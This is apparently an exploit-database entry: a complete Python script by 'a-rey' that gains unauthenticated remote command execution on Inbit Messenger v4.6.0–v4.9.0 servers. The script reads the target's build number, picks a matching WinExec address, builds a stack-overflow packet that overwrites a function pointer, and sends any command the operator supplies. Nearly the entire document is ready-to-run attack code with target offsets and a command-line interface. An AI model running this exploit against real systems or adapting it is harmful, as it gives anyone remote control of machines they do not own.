1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE) # Date: 11/08/2022 # Exploit Author: a-rey # Vendor Homepage: http://www.inbit.com/support.html # Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html # Version: v4.6.0 - v4.9.0 # Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019 # Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md #!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys, socket, struct, string, argparse, logging BANNER = """\033[0m\033[1;35m ╔══════════════════════════════════════════════════════════════════════════╗ ║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║ ╚══════════════════════════════════════════════════════════════════════════╝\033[0m by: \033[1;36m █████╗██████╗ ███████╗██╗ ██╗ \033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║ \033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝ \033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ \033[1;36m██║██║ ██║██║███████╗ ██║ \033[1;36m╚═╝╚═╝ ╚═╝╚═╝╚══════╝ ╚═╝ \033[0m""" # NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number TARGETS = { 4601 : 0x005f3360, 4801 : 0x005f7364, 4901 : 0x005f7364, } # NOTE: min and max values for length of command CMD_MIN_LEN = 10 CMD_MAX_LEN = 0xfc64 # NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow BAD_BYTES = b"\x3e" # > def getWinExecAddress(targetIp:str, targetPort:int) -> bytes: # NOTE: send packet with client build number of 4601 for v4.6.0 pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00" logging.info(f"trying to get version information from {targetIp}:{targetPort} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((targetIp, targetPort)) s.send(pkt) _d = s.recv(1024) # find build tag in response if b'<c>' not in _d: logging.error(f"invalid version packet received: {_d}") sys.exit(-1) s.close() try: build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')]) except: logging.error(f"failed to parse build number from packet: {_d}") sys.exit(-1) # get the IAT offset if build not in TARGETS.keys(): logging.error(f"unexpected build number: {build}") sys.exit(-1) # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]' winexec = struct.pack("<I", TARGETS[build] - 0x38) logging.success(f"target build number is {build}") logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}") # sanity check for bad bytes in WinExec address for c in winexec: if c in BAD_BYTES: logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}") sys.exit(-1) return winexec def exploit(targetIp:str, targetPort:int, command:bytes) -> None: # NOTE: command must be NULL terminated command += b"\x00" # check user command length if len(command) < CMD_MIN_LEN: logging.error(f"command length must be at least {CMD_MIN_LEN} characters") sys.exit(-1) if len(command) >= CMD_MAX_LEN: logging.error(f"command length must be less than {CMD_MAX_LEN} characters") sys.exit(-1) # get WinExec address winexec = getWinExecAddress(targetIp, targetPort) # get a string representation of the length of the command data after the <> tag parsed by atol() pktLen = str(len(command)) pkt= b"<"# start of XML tag/stack overflow pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character pkt += b"\x00" # NULL terminator to force atol to ignore what comes next # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol() pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite pkt += winexec # indirect function pointer we control pkt += b">"# end of XML tag/stack overflow pkt += command # the command set to the call to WinExec() logging.info(f"sending payload to {targetIp}:{targetPort} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((targetIp, targetPort)) s.send(pkt) s.close() logging.success("DONE") if __name__ == '__main__': # parse arguments parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER) parser.add_argument('-t', '--target',help='target IP',type=str, required=True) parser.add_argument('-c', '--command', help='command to run', type=str, required=True) parser.add_argument('-p', '--port',help='target port',type=int, required=False, default=10883) args = parser.parse_args() # define logger logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO') logging.SUCCESS = logging.CRITICAL + 1 logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m') logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m') logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m') logging.addLevelName(logging.INFO,'\033[0m\033[1;36mINFO\033[0m') logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args) # print banner print(BANNER) # run exploit exploit(args.target, args.port, args.command.encode()) |